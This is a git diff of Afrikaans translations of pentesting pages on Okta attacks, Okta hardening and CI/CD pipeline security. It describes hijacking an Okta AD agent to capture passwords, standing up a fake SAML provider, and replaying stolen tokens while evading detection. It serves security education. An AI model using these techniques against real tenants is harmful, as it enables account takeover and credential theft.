-Hierdie tegniek behels **toegang tot die Okta AD Agent op 'n bediener**, wat **gebruikers sinkroniseer en verifikasie hanteer**. Deur konfigurasies in **`OktaAgentService.exe.config`** te ondersoek en te ontsleutel, veral die AgentToken met behulp van **DPAPI**, kan 'n aanvaller potensieel **verifikasiedata onderskep en manipuleer**. Dit stel nie net in staat om **te monitor** en **gebruikers se akrediteer in platte teks** tydens die Okta verifikasie proses nie, maar ook om **te reageer op verifikasie pogings**, wat ongeoorloofde toegang moontlik maak of universele verifikasie deur Okta bied (soos 'n 'skelet sleutel').
+Hierdie tegniek behels **toegang tot die Okta AD Agent op 'n bediener**, wat **gebruikers sinkroniseer en verifikasie hanteer**. Deur konfigurasies in **`OktaAgentService.exe.config`** te ondersoek en te ontsleutel, veral die AgentToken met behulp van **DPAPI**, kan 'n aanvaller potensieel **verifikasiedata onderskep en manipuleer**. Dit stel nie net in staat om **te monitor** en **gebruikerswagwoorde** in platte teks tydens die Okta verifikasieproses te vang nie, maar ook om **te reageer op verifikasie pogings**, wat ongeoorloofde toegang moontlik maak of universele verifikasie deur Okta bied (soos 'n 'skelet sleutel').
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Kontroleer die aanval in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Hijacking AD As an Admin
+### Kaap AD As 'n Admin
-Hierdie tegniek behels die kaping van 'n Okta AD Agent deur eers 'n OAuth Code te verkry, en dan 'n API-token aan te vra. Die token is geassosieer met 'n AD domein, en 'n **connector word genoem om 'n vals AD agent te vestig**. Inisialiserings laat die agent toe om **verifikasie pogings te verwerk**, wat akrediteer via die Okta API vasvang. Outomatiseringsgereedskap is beskikbaar om hierdie proses te stroomlyn, wat 'n naatlose metode bied om verifikasiedata binne die Okta omgewing te onderskep en te hanteer.
+Hierdie tegniek behels die kaaping van 'n Okta AD Agent deur eers 'n OAuth Code te verkry, en dan 'n API-token aan te vra. Die token is geassosieer met 'n AD domein, en 'n **connector word genoem om 'n vals AD agent te vestig**. Inisialiserings laat die agent toe om **verifikasie pogings te verwerk**, wat wagwoorde via die Okta API vang. Outomatiseringsgereedskap is beskikbaar om hierdie proses te stroomlyn, wat 'n naatlose metode bied om verifikasiedata binne die Okta omgewing te onderskep en te hanteer.
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Kontroleer die aanval in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Okta Fake SAML Provider
+### Okta Vals SAML Verskaffer
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Kontroleer die aanval in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-Die tegniek behels **die ontplooiing van 'n vals SAML verskaffer**. Deur 'n eksterne Identiteitsverskaffer (IdP) binne Okta se raamwerk te integreer met 'n bevoorregte rekening, kan aanvallers **die IdP beheer, enige verifikasie versoek na willekeur goedkeur**. Die proses behels die opstelling van 'n SAML 2.0 IdP in Okta, die manipulasie van die IdP Single Sign-On URL vir omleiding via die plaaslike gashere lêer, die generering van 'n self-ondertekende sertifikaat, en die konfigurasie van Okta instellings om teen die gebruikersnaam of e-pos te pas. Die suksesvolle uitvoering van hierdie stappe maak verifikasie as enige Okta gebruiker moontlik, wat die behoefte aan individuele gebruikers akrediteer omseil, wat toegangbeheer in 'n potensieel onopgemerkte manier aansienlik verhoog.
+Die tegniek behels **die ontplooiing van 'n vals SAML verskaffer**. Deur 'n eksterne Identiteitsverskaffer (IdP) binne Okta se raamwerk te integreer met behulp van 'n bevoorregte rekening, kan aanvallers **die IdP beheer, enige verifikasie versoek na willekeur goedkeur**. Die proses behels die opstelling van 'n SAML 2.0 IdP in Okta, die manipulasie van die IdP Enkele Aanmelding URL vir omleiding via die plaaslike gashere-lêer, die generering van 'n self-ondertekende sertifikaat, en die konfigurasie van Okta-instellings om teen die gebruikersnaam of e-pos te pas. Die suksesvolle uitvoering van hierdie stappe stel in staat om as enige Okta gebruiker te verifieer, wat die behoefte aan individuele gebruikerswagwoorde omseil, wat toegangbeheer in 'n potensieel onopgemerkte manier aansienlik verhoog.
-### Phishing Okta Portal with Evilgnix
+### Phishing Okta Portaal met Evilgnix
-In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) word verduidelik hoe om 'n phishing veldtog teen 'n Okta portaal voor te berei.
+In [**hierdie blogpos**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) word verduidelik hoe om 'n phishing veldtog teen 'n Okta portaal voor te berei.
-### Colleague Impersonation Attack
+### Kollega Imersonasie Aanval
-Die **kenmerke wat elke gebruiker kan hê en wysig** (soos e-pos of voornaam) kan in Okta geconfigureer word. As 'n **toepassing** **vertrou** as ID 'n **kenmerk** wat die gebruiker kan **wysig**, sal hy in staat wees om **ander gebruikers in daardie platform na te doen**.
+Die **kenmerke wat elke gebruiker kan hê en wysig** (soos e-pos of voornaam) kan in Okta geconfigureer word. As 'n **toepassing** as ID 'n **kenmerk** vertrou wat die gebruiker kan **wysig**, sal hy in staat wees om **ander gebruikers in daardie platform te imiteer**.
-Daarom, as die app die veld **`userName`** vertrou, sal jy waarskynlik nie in staat wees om dit te verander nie (omdat jy gewoonlik nie daardie veld kan verander nie), maar as dit vertrou byvoorbeeld **`primaryEmail`** kan jy dalk **dit na 'n kollega se e-pos adres verander** en dit na doen (jy sal toegang tot die e-pos moet hê en die verandering moet aanvaar).
+Daarom, as die app die veld **`userName`** vertrou, sal jy waarskynlik nie in staat wees om dit te verander nie (omdat jy gewoonlik nie daardie veld kan verander nie), maar as dit vertrou byvoorbeeld **`primaryEmail`** kan jy dalk **dit na 'n kollega se e-posadres verander** en dit imiteer (jy sal toegang tot die e-pos moet hê en die verandering moet aanvaar).
-Let daarop dat hierdie nabootsing afhang van hoe elke toepassing geconfigureer is. Slegs diegene wat die veld wat jy gewysig het vertrou en opdaterings aanvaar, sal gekompromitteer word.\
+Let daarop dat hierdie imersonasie afhang van hoe elke toepassing geconfigureer is. Slegs diegene wat die veld wat jy gewysig het vertrou en opdaterings aanvaar, sal gekompromitteer word.\
Daarom moet die app hierdie veld geaktiveer hê as dit bestaan:
-Ek het ook ander toepassings gesien wat kwesbaar was maar nie daardie veld in die Okta instellings gehad het nie (aan die einde is verskillende toepassings anders geconfigureer).
+Ek het ook ander apps gesien wat kwesbaar was maar nie daardie veld in die Okta instellings gehad het nie (aan die einde is verskillende apps anders geconfigureer).
-Die beste manier om uit te vind of jy iemand op elke app kan naboots, sal wees om dit te probeer!
+Die beste manier om uit te vind of jy iemand op elke app kan imiteer, is om dit te probeer!
-## Evading behavioural detection policies
+## Ontwyking van gedragsdeteksiebeleide
-Gedragsdeteksiebeleide in Okta mag onbekend wees totdat dit teëgekom word, maar **omseiling** daarvan kan bereik word deur **Okta toepassings direk te teiken**, wat die hoof Okta dashboard vermy. Met 'n **Okta toegangstoken**, herhaal die token by die **toepassing-spesifieke Okta URL** in plaas van die hoof aanmeldblad.
+Gedragsdeteksiebeleide in Okta mag onbekend wees totdat dit teëgekom word, maar **omseiling** daarvan kan bereik word deur **direk op Okta toepassings te teiken**, en die hoof Okta dashboard te vermy. Met 'n **Okta toegangstoken**, herhaal die token by die **toepassing-spesifieke Okta URL** in plaas van die hoof aanmeldblad.
Belangrike aanbevelings sluit in:
-- **Vermy die gebruik van** gewilde anonymiseringsproxies en VPN-dienste wanneer jy vasgevange toegangstokens herhaal.
+- **Vermy die gebruik van** gewilde anonymiseringsproxies en VPN-dienste wanneer jy gevangenis toegangstokens herhaal.
- Verseker **konstante gebruikers-agent strings** tussen die kliënt en herhaalde toegangstokens.
-- **Wees versigtig om tokens** van verskillende gebruikers vanaf dieselfde IP-adres te herhaal.
+- **Vermy die herhaling van** tokens van verskillende gebruikers vanaf dieselfde IP-adres.
- Wees versigtig wanneer jy tokens teen die Okta dashboard herhaal.
-- As jy bewus is van die slagoffer maatskappy se IP-adresse, **beperk verkeer** na daardie IP's of hul reeks, en blokkeer alle ander verkeer.
+- As jy bewus is van die slagoffer maatskappy se IP-adresse, **beperk verkeer** tot daardie IP's of hul reeks, en blokkeer alle ander verkeer.
-## Okta Hardening
+## Okta Versterking
Okta het baie moontlike konfigurasies, op hierdie bladsy sal jy vind hoe om dit te hersien sodat dit so veilig as moontlik is:
@@ -106,7 +106,7 @@ Okta het baie moontlike konfigurasies, op hierdie bladsy sal jy vind hoe om dit
okta-hardening.md
{{#endref}}
-## References
+## Verwysings
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index 5ca5a88f5..faf653f8e 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -1,49 +1,49 @@
-# Okta Hardening
+# Okta Hardeer
{{#include ../../banners/hacktricks-training.md}}
-## Directory
+## Gids
-### People
+### Mense
-Vanuit 'n aanvaller se perspektief is dit baie interessant omdat jy **alle geregistreerde gebruikers** kan sien, hul **e-pos** adresse, die **groepe** waarvan hulle deel is, **profiele** en selfs **toestelle** (mobiele saam met hul OS's).
+Van 'n aanvaller se perspektief is dit baie interessant omdat jy **alle geregistreerde gebruikers** kan sien, hul **e-pos** adresse, die **groepe** waarvan hulle deel is, **profiele** en selfs **toestelle** (mobiele saam met hul OS's).
-Vir 'n whitebox hersiening, kyk dat daar nie verskeie "**Wagtende gebruiker aksie**" en "**Wagwoord herstel**" is nie.
+Vir 'n whitebox hersiening, kyk dat daar nie verskeie "**Wagtende gebruikersaksie**" en "**Wagwoord herstel**" is nie.
-### Groups
+### Groepe
Hier vind jy al die geskepte groepe in Okta. Dit is interessant om die verskillende groepe (stel van **toestemmings**) te verstaan wat aan **gebruikers** toegeken kan word.\
Dit is moontlik om die **mense ingesluit in groepe** en **apps toegeken** aan elke groep te sien.
Natuurlik is enige groep met die naam **admin** interessant, veral die groep **Global Administrators,** kyk na die lede om te leer wie die mees bevoorregte lede is.
-Vanuit 'n whitebox hersiening, daar **moet nie meer as 5 globale admins wees nie** (beter as daar net 2 of 3 is).
+Van 'n whitebox hersiening, daar **moet nie meer as 5 globale admins wees nie** (beter as daar net 2 of 3 is).
-### Devices
+### Toestelle
Vind hier 'n **lys van al die toestelle** van al die gebruikers. Jy kan ook sien of dit **aktief bestuur** word of nie.
-### Profile Editor
+### Profielredigeerder
-Hier is dit moontlik om te observeer hoe sleutel-inligting soos voorname, vanname, e-pos, gebruikersname... tussen Okta en ander toepassings gedeel word. Dit is interessant omdat as 'n gebruiker **'n veld in Okta kan wysig** (soos sy naam of e-pos) wat dan deur 'n **eksterne toepassing** gebruik word om die gebruiker te **identifiseer**, kan 'n insider probeer om **ander rekeninge oor te neem**.
+Hier is dit moontlik om te observeer hoe sleutel-inligting soos voorname, vanname, e-posse, gebruikersname... tussen Okta en ander toepassings gedeel word. Dit is interessant omdat as 'n gebruiker **'n veld in Okta kan wysig** (soos sy naam of e-pos) wat dan deur 'n **eksterne toepassing** gebruik word om die gebruiker te **identifiseer**, kan 'n insider probeer om **ander rekeninge oor te neem**.
Boonop, in die profiel **`User (default)`** van Okta kan jy **watter velde** elke **gebruiker** het en watter een **skryfbaar** is deur gebruikers. As jy nie die admin paneel kan sien nie, gaan net na **opdateer jou profiel** inligting en jy sal sien watter velde jy kan opdateer (let daarop dat jy 'n e-pos adres moet verifieer om dit op te dateer).
-### Directory Integrations
+### Gids Integrasies
-Gidsen laat jou toe om mense van bestaande bronne te importeer. Ek raai hier sal jy die gebruikers sien wat van ander gidse geïmporteer is.
+Gidse laat jou toe om mense van bestaande bronne te importeer. Ek raai hier sal jy die gebruikers sien wat van ander gidse geïmporteer is.
Ek het dit nie gesien nie, maar ek raai dit is interessant om uit te vind **ander gidse wat Okta gebruik om gebruikers te importeer** sodat as jy **daardie gids kompromitteer** kan jy sekere attribuutwaardes in die gebruikers geskep in Okta stel en **miskien die Okta omgewing kompromitteer**.
-### Profile Sources
+### Profielbronne
'n Profielbron is 'n **toepassing wat as 'n bron van waarheid** vir gebruikersprofielattribuut dien. 'n Gebruiker kan slegs deur 'n enkele toepassing of gids op 'n slag verkry word.
Ek het dit nie gesien nie, so enige inligting oor sekuriteit en hacking rakende hierdie opsie word waardeer.
-## Customizations
+## Pasmaak
-### Brands
+### Handelsmerke
Kyk in die **Domeine** oortjie van hierdie afdeling die e-pos adresse wat gebruik word om e-posse te stuur en die pasgemaakte domein binne Okta van die maatskappy (wat jy waarskynlik al weet).
@@ -53,21 +53,21 @@ Boonop, in die **Instelling** oortjie, as jy admin is, kan jy "**Gebruik 'n pasg
Niks interessant hier nie.
-### End-User Dashboard
+### Eindgebruiker Dashboard
Jy kan hier toepassings vind wat geconfigureer is, maar ons sal die besonderhede van daardie later in 'n ander afdeling sien.
-### Other
+### Ander
-Interessante instelling, maar niks super interessant vanuit 'n sekuriteitsoogpunt nie.
+Interessante instelling, maar niks super interessant van 'n sekuriteitsoogpunt nie.
-## Applications
+## Toepassings
-### Applications
+### Toepassings
-Hier kan jy al die **geconfigureerde toepassings** en hul besonderhede vind: Wie toegang tot hulle het, hoe dit geconfigureer is (SAML, OPenID), URL om aan te meld, die mappings tussen Okta en die toepassing...
+Hier kan jy al die **geconfigureerde toepassings** en hul besonderhede vind: Wie toegang tot hulle het, hoe dit geconfigureer is (SAML, OpenID), URL om aan te meld, die kaarte tussen Okta en die toepassing...
-In die **`Sign On`** oortjie is daar ook 'n veld genaamd **`Password reveal`** wat 'n gebruiker sou toelaat om sy **wagwoord te onthul** wanneer hy die toepassingsinstellings nagaan. Om die instellings van 'n toepassing vanaf die Gebruiker Paneel te kontroleer, klik op die 3 punte:
+In die **`Teken Aan`** oortjie is daar ook 'n veld genaamd **`Wagwoord onthul`** wat 'n gebruiker sou toelaat om sy **wagwoord te onthul** wanneer hy die toepassingsinstellings nagaan. Om die instellings van 'n toepassing vanaf die Gebruiker Paneel te kontroleer, klik op die 3 punte:
@@ -75,34 +75,34 @@ En jy kan 'n paar meer besonderhede oor die app sien (soos die wagwoord onthul f
-## Identity Governance
+## Identiteit Bestuur
-### Access Certifications
+### Toegang Sertifisering
-Gebruik Toegang Sertifikasies om ouditveldtogte te skep om jou gebruikers se toegang tot hulpbronne periodiek te hersien en toegang outomaties goed te keur of te herroep wanneer nodig.
+Gebruik Toegang Sertifisering om ouditveldtogte te skep om jou gebruikers se toegang tot hulpbronne periodiek te hersien en toegang outomaties goed te keur of te herroep wanneer nodig.
-Ek het dit nie gesien nie, maar ek raai dat dit vanuit 'n defensiewe perspektief 'n mooi funksie is.
+Ek het dit nie gesien nie, maar ek raai dat dit van 'n defensiewe oogpunt 'n mooi kenmerk is.
-## Security
+## Sekuriteit
-### General
+### Algemeen
-- **Sekuriteits kennisgewing e-posse**: Alle moet geaktiveer wees.
+- **Sekuriteitskennisgewing e-posse**: Alles moet geaktiveer wees.
- **CAPTCHA integrasie**: Dit word aanbeveel om ten minste die onsigbare reCaptcha in te stel.
- **Organisasie Sekuriteit**: Alles kan geaktiveer word en aktivering e-posse moet nie lank neem nie (7 dae is reg).
- **Gebruiker enumerasie voorkoming**: Albei moet geaktiveer wees.
- Let daarop dat Gebruiker Enumerasie Voorkoming nie in werking tree as enige van die volgende toestande toegelaat word nie (sien [Gebruiker bestuur](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) vir meer inligting):
- Selfdiens Registrasie
-- JIT vloei met e-pos verifikasie
+- JIT vloei met e-posverifikasie
- **Okta ThreatInsight instellings**: Log en handhaaf sekuriteit gebaseer op bedreigingsvlak.
### HealthInsight
Hier is dit moontlik om korrek en **gevaarlike** geconfigureerde **instellings** te vind.
-### Authenticators
+### Autentiseerders
-Hier kan jy al die autentikasie metodes vind wat 'n gebruiker kan gebruik: Wagwoord, telefoon, e-pos, kode, WebAuthn... Klik op die Wagwoord autentiseerder en jy kan die **wagwoord beleid** sien. Kyk dat dit sterk is.
+Hier kan jy al die autentiseringmetodes vind wat 'n gebruiker kan gebruik: Wagwoord, telefoon, e-pos, kode, WebAuthn... Deur op die Wagwoord autentiseerder te klik kan jy die **wagwoord beleid** sien. Kyk dat dit sterk is.
In die **Registrasie** oortjie kan jy sien hoe diegene wat vereis of opsioneel is:
@@ -110,13 +110,13 @@ In die **Registrasie** oortjie kan jy sien hoe diegene wat vereis of opsioneel i
Dit word aanbeveel om Telefoon te deaktiveer. Die sterkste is waarskynlik 'n kombinasie van wagwoord, e-pos en WebAuthn.
-### Authentication policies
+### Autentisering beleid
-Elke app het 'n autentikasiebeleid. Die autentikasiebeleid verifieer dat gebruikers wat probeer om in te teken op die app aan spesifieke voorwaardes voldoen, en dit handhaaf faktor vereistes gebaseer op daardie voorwaardes.
+Elke app het 'n autentisering beleid. Die autentisering beleid verifieer dat gebruikers wat probeer om in te teken op die app aan spesifieke voorwaardes voldoen, en dit handhaaf faktor vereistes gebaseer op daardie voorwaardes.
-Hier kan jy die **vereistes om toegang tot elke toepassing** te verkry vind. Dit word aanbeveel om ten minste wagwoord en 'n ander metode vir elke toepassing te vra. Maar as jy as aanvaller iets meer swak vind, kan jy dalk dit aanval.
+Hier kan jy die **vereistes om toegang tot elke toepassing** te verkry. Dit word aanbeveel om ten minste wagwoord en 'n ander metode vir elke toepassing te vra. Maar as 'n aanvaller vind jy iets meer swak, kan jy dalk dit aanval.
-### Global Session Policy
+### Globale Sessie Beleid
Hier kan jy die sessiebeleide vind wat aan verskillende groepe toegeken is. Byvoorbeeld:
@@ -124,75 +124,75 @@ Hier kan jy die sessiebeleide vind wat aan verskillende groepe toegeken is. Byvo
Dit word aanbeveel om MFA te vra, die sessie lewensduur tot 'n paar ure te beperk, nie sessie koekies oor blaaiers te persisteer nie en die ligging en Identiteitsverskaffer te beperk (as dit moontlik is). Byvoorbeeld, as elke gebruiker van 'n land moet aanmeld, kan jy net hierdie ligging toelaat.
-### Identity Providers
+### Identiteitsverskaffers
Identiteitsverskaffers (IdPs) is dienste wat **gebruikersrekeninge bestuur**. Om IdPs in Okta by te voeg, stel jou eindgebruikers in staat om **self te registreer** met jou pasgemaakte toepassings deur eers met 'n sosiale rekening of 'n slimkaart te autentiseer.
-Op die Identiteitsverskaffers bladsy kan jy sosiale aanmeldings (IdPs) byvoeg en Okta as 'n diensverskaffer (SP) configureer deur inkomende SAML by te voeg. Nadat jy IdPs bygevoeg het, kan jy roeteringsreëls opstel om gebruikers na 'n IdP te lei gebaseer op konteks, soos die gebruiker se ligging, toestel of e-pos domein.
+Op die Identiteitsverskaffers bladsy kan jy sosiale aanmeldings (IdPs) byvoeg en Okta as 'n diensverskaffer (SP) configureer deur inkomende SAML by te voeg. Nadat jy IdPs bygevoeg het, kan jy roeteringsreëls opstel om gebruikers na 'n IdP te lei gebaseer op konteks, soos die gebruiker se ligging, toestel of e-posdomein.
-**As enige identiteitsverskaffer geconfigureer is** vanuit 'n aanvaller en verdediger se perspektief, kyk daardie konfigurasie en **of die bron regtig betroubaar is** aangesien 'n aanvaller wat dit kompromitteer ook toegang tot die Okta omgewing kan kry.
+**As enige identiteitsverskaffer geconfigureer is** van 'n aanvaller en verdediger se perspektief, kyk daardie konfigurasie en **of die bron regtig betroubaar is** aangesien 'n aanvaller wat dit kompromitteer ook toegang tot die Okta omgewing kan kry.
-### Delegated Authentication
+### Geleende Autentisering
-Gedelegeerde autentikasie laat gebruikers toe om in te teken op Okta deur inligting vir hul organisasie se **Active Directory (AD) of LDAP** bediener in te voer.
+Geleende autentisering laat gebruikers toe om in te teken op Okta deur inlogbesonderhede vir hul organisasie se **Active Directory (AD) of LDAP** bediener in te voer.
Weereens, herkontroleer dit, aangesien 'n aanvaller wat 'n organisasie se AD kompromitteer, dalk in staat kan wees om na Okta te pivot deur hierdie instelling.
-### Network
+### Netwerk
'n Netwerk sone is 'n konfigureerbare grens wat jy kan gebruik om **toegang tot rekenaars en toestelle** in jou organisasie te **verleen of te beperk** gebaseer op die **IP adres** wat toegang versoek. Jy kan 'n netwerk sone definieer deur een of meer individuele IP adresse, reekse van IP adresse, of geografiese liggings te spesifiseer.
-Nadat jy een of meer netwerk zones gedefinieer het, kan jy **dit in Globale Sessie Beleide**, **autentikasiebeleide**, VPN kennisgewings, en **roeteringsreëls** gebruik.
+Nadat jy een of meer netwerk sones gedefinieer het, kan jy **dit in Globale Sessie Beleide**, **autentisering beleide**, VPN kennisgewings, en **roeteringsreëls** gebruik.
-Vanuit 'n aanvaller se perspektief is dit interessant om te weet watter Ps toegelaat word (en kyk of enige **IPs meer bevoorreg** is as ander). Vanuit 'n aanvaller se perspektief, as die gebruikers van 'n spesifieke IP adres of streek moet toegang hê, kyk of hierdie funksie behoorlik gebruik word.
+Van 'n aanvaller se perspektief is dit interessant om te weet watter IP's toegelaat word (en kyk of enige **IP's meer bevoorreg** is as ander). Van 'n aanvaller se perspektief, as die gebruikers van 'n spesifieke IP adres of streek moet toegang hê, kyk of hierdie funksie behoorlik gebruik word.
-### Device Integrations
+### Toestel Integrasies
-- **Endpoint Management**: Eindpuntbestuur is 'n voorwaarde wat in 'n autentikasiebeleid toegepas kan word om te verseker dat bestuurde toestelle toegang tot 'n toepassing het.
+- **Eindpunt Bestuur**: Eindpunt bestuur is 'n voorwaarde wat in 'n autentisering beleid toegepas kan word om te verseker dat bestuurde toestelle toegang tot 'n toepassing het.
- Ek het dit nog nie gesien nie. TODO
- **Kennisgewing dienste**: Ek het dit nog nie gesien nie. TODO
### API
-Jy kan Okta API tokens op hierdie bladsy skep, en diegene sien wat **gecreëer** is, hul **privileges**, **verval** tyd en **Oorsprong URL's**. Let daarop dat 'n API token gegenereer word met die toestemmings van die gebruiker wat die token geskep het en slegs geldig is as die **gebruiker** wat dit geskep het **aktief** is.
+Jy kan Okta API tokens op hierdie bladsy skep, en diegene wat **gecreëer** is, hul **privileges**, **verval** tyd en **Oorsprong URL's** sien. Let daarop dat 'n API token gegenereer word met die toestemmings van die gebruiker wat die token geskep het en slegs geldig is as die **gebruiker** wat dit geskep het **aktief** is.
Die **Betroubare Oorspronge** verleen toegang tot webwerwe wat jy beheer en vertrou om toegang tot jou Okta org deur die Okta API te verkry.
-Daar moet nie baie API tokens wees nie, aangesien as daar is, kan 'n aanvaller probeer om toegang tot hulle te kry en hulle te gebruik.
+Daar moet nie baie API tokens wees nie, aangesien as daar is, kan 'n aanvaller probeer om toegang daartoe te verkry en dit te gebruik.
-## Workflow
+## Werkvloei
-### Automations
+### Outomatiserings
-Automatiserings laat jou toe om geoutomatiseerde aksies te skep wat loop gebaseer op 'n stel van trigger toestande wat tydens die lewensiklus van eindgebruikers voorkom.
+Outomatiserings laat jou toe om outomatiese aksies te skep wat loop gebaseer op 'n stel van trigger voorwaardes wat tydens die lewensiklus van eindgebruikers voorkom.
-Byvoorbeeld, 'n toestand kan wees "Gebruiker inaktiwiteit in Okta" of "Gebruiker wagwoord vervaldatum in Okta" en die aksie kan wees "Stuur e-pos aan die gebruiker" of "Verander gebruiker se lewensiklus toestand in Okta".
+Byvoorbeeld, 'n voorwaarde kan wees "Gebruiker inaktiwiteit in Okta" of "Gebruiker wagwoord vervaldatum in Okta" en die aksie kan wees "Stuur e-pos aan die gebruiker" of "Verander gebruiker lewensiklus toestand in Okta".
-## Reports
+## Verslae
-### Reports
+### Verslae
Laai logs af. Hulle word **gestuur** na die **e-pos adres** van die huidige rekening.
-### System Log
+### Stelsellog
Hier kan jy die **logs van die aksies uitgevoer deur gebruikers** vind met baie besonderhede soos aanmelding in Okta of in toepassings deur Okta.
-### Import Monitoring
+### Invoer Monitering
-Dit kan **logs van die ander platforms** wat met Okta toegang het, **importeer**.
+Dit kan **logs van die ander platforms** wat met Okta toeganklik is invoer.
-### Rate limits
+### Tarief beperkings
-Kyk die API koers beperkings wat bereik is.
+Kyk die API tarief beperkings wat bereik is.
-## Settings
+## Instellings
-### Account
+### Rekening
-Hier kan jy **generiese inligting** oor die Okta omgewing vind, soos die maatskappy se naam, adres, **e-pos faktuur kontak**, **e-pos tegniese kontak** en ook wie Okta opdaterings moet ontvang en watter soort Okta opdaterings.
+Hier kan jy **generiese inligting** oor die Okta omgewing vind, soos die maatskappy se naam, adres, **e-pos faktuur kontak**, **e-pos tegniese kontak** en ook wie Okta opdaterings moet ontvang en watter tipe Okta opdaterings.
-### Downloads
+### Aflaaie
Hier kan jy Okta agente aflaai om Okta met ander tegnologieë te sinkroniseer.
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index f065fbf50..461c5dda7 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -12,7 +12,7 @@ VCS staan vir **Version Control System**, hierdie stelsels laat ontwikkelaars to
- Gitlab
- Bitbucket
- Gitea
-- Cloud verskaffers (hulle bied hul eie VCS-platforms aan)
+- Wolkverskaffers (hulle bied hul eie VCS-platforms aan)
## CI/CD Pypelines
@@ -25,9 +25,9 @@ Egter, hierdie stelsels moet **ergens uitgevoer word** en gewoonlik met **bevoor
> [!NOTE]
> Alhoewel sommige VCS-platforms toelaat om pypelines te skep, gaan ons in hierdie afdeling slegs potensiële aanvalle op die beheer van die bronkode analiseer.
-Platforms wat die bronkode van jou projek bevat, bevat sensitiewe inligting en mense moet baie versigtig wees met die toestemmings wat binne hierdie platform toegestaan word. Dit is 'n paar algemene probleme oor VCS-platforms wat aanvallers kan misbruik:
+Platforms wat die bronkode van jou projek bevat, bevat sensitiewe inligting en mense moet baie versigtig wees met die toestemmings wat binne hierdie platform toegestaan word. Dit is 'n paar algemene probleme oor VCS-platforms wat 'n aanvaller kan misbruik:
-- **Lekke**: As jou kode lekke in die verbintenisse bevat en die aanvaller toegang tot die repo kan verkry (omdat dit publiek is of omdat hy toegang het), kan hy die lekke ontdek.
+- **Leaks**: As jou kode lekkasies in die verbintenisse bevat en die aanvaller toegang tot die repo kan verkry (omdat dit publiek is of omdat hy toegang het), kan hy die lekkasies ontdek.
- **Toegang**: As 'n aanvaller **toegang tot 'n rekening binne die VCS-platform** kan verkry, kan hy **meer sigbaarheid en toestemmings** verkry.
- **Registrasie**: Sommige platforms sal net eksterne gebruikers toelaat om 'n rekening te skep.
- **SSO**: Sommige platforms sal nie gebruikers toelaat om te registreer nie, maar sal enigeen toelaat om toegang te verkry met 'n geldige SSO (so 'n aanvaller kan sy github-rekening gebruik om in te gaan byvoorbeeld).
@@ -38,18 +38,18 @@ Platforms wat die bronkode van jou projek bevat, bevat sensitiewe inligting en m
- **Kode kompromie:** As 'n kwaadwillige akteur 'n soort **skryf** toegang oor die repos het, kan hy probeer om **kwaadwillige kode in te spuit**. Om suksesvol te wees, mag hy moet **tak beskermings omseil**. Hierdie aksies kan met verskillende doelwitte in gedagte uitgevoer word:
- Kompromitteer die hooftak om **produksie te kompromitteer**.
- Kompromitteer die hoof (of ander takke) om **ontwikkelaars se masjiene te kompromitteer** (aangesien hulle gewoonlik toets, terraform of ander dinge binne die repo op hul masjiene uitvoer).
-- **Kompromitteer die pypeline** (kyk na die volgende afdeling)
+- **Kompromitteer die pypeline** (kyk na die volgende afdeling).
## Pypelines Pentesting Metodologie
-Die mees algemene manier om 'n pypeline te definieer, is deur 'n **CI-konfigurasie lêer wat in die repo gehos is** te gebruik. Hierdie lêer beskryf die volgorde van uitgevoerde werksgeleenthede, toestande wat die vloei beïnvloed, en bou omgewing instellings.\
-Hierdie lêers het tipies 'n konsekwente naam en formaat, byvoorbeeld — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), en die GitHub Actions YAML-lêers wat onder .github/workflows geleë is. Wanneer geaktiveer, **trek die pypeline werk** die kode van die geselekteerde bron (bv. verbintenis / tak), en **voert die opdragte uit wat in die CI-konfigurasie lêer gespesifiseer is** teen daardie kode.
+Die mees algemene manier om 'n pypeline te definieer, is deur 'n **CI-konfigurasie lêer wat in die repo gehos is** te gebruik. Hierdie lêer beskryf die volgorde van uitgevoerde take, toestande wat die vloei beïnvloed, en bouomgewinginstellings.\
+Hierdie lêers het tipies 'n konsekwente naam en formaat, byvoorbeeld — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), en die GitHub Actions YAML-lêers wat onder .github/workflows geleë is. Wanneer geaktiveer, **trek die pypeline-taak die kode** van die geselekteerde bron (bv. verbintenis / tak), en **voert die opdragte wat in die CI-konfigurasie lêer gespesifiseer is** teen daardie kode uit.
Daarom is die uiteindelike doel van die aanvaller om op een of ander manier **daardie konfigurasie lêers** of die **opdragte wat hulle uitvoer** te **kompromitteer**.
### PPE - Gevulde Pypeline Uitvoering
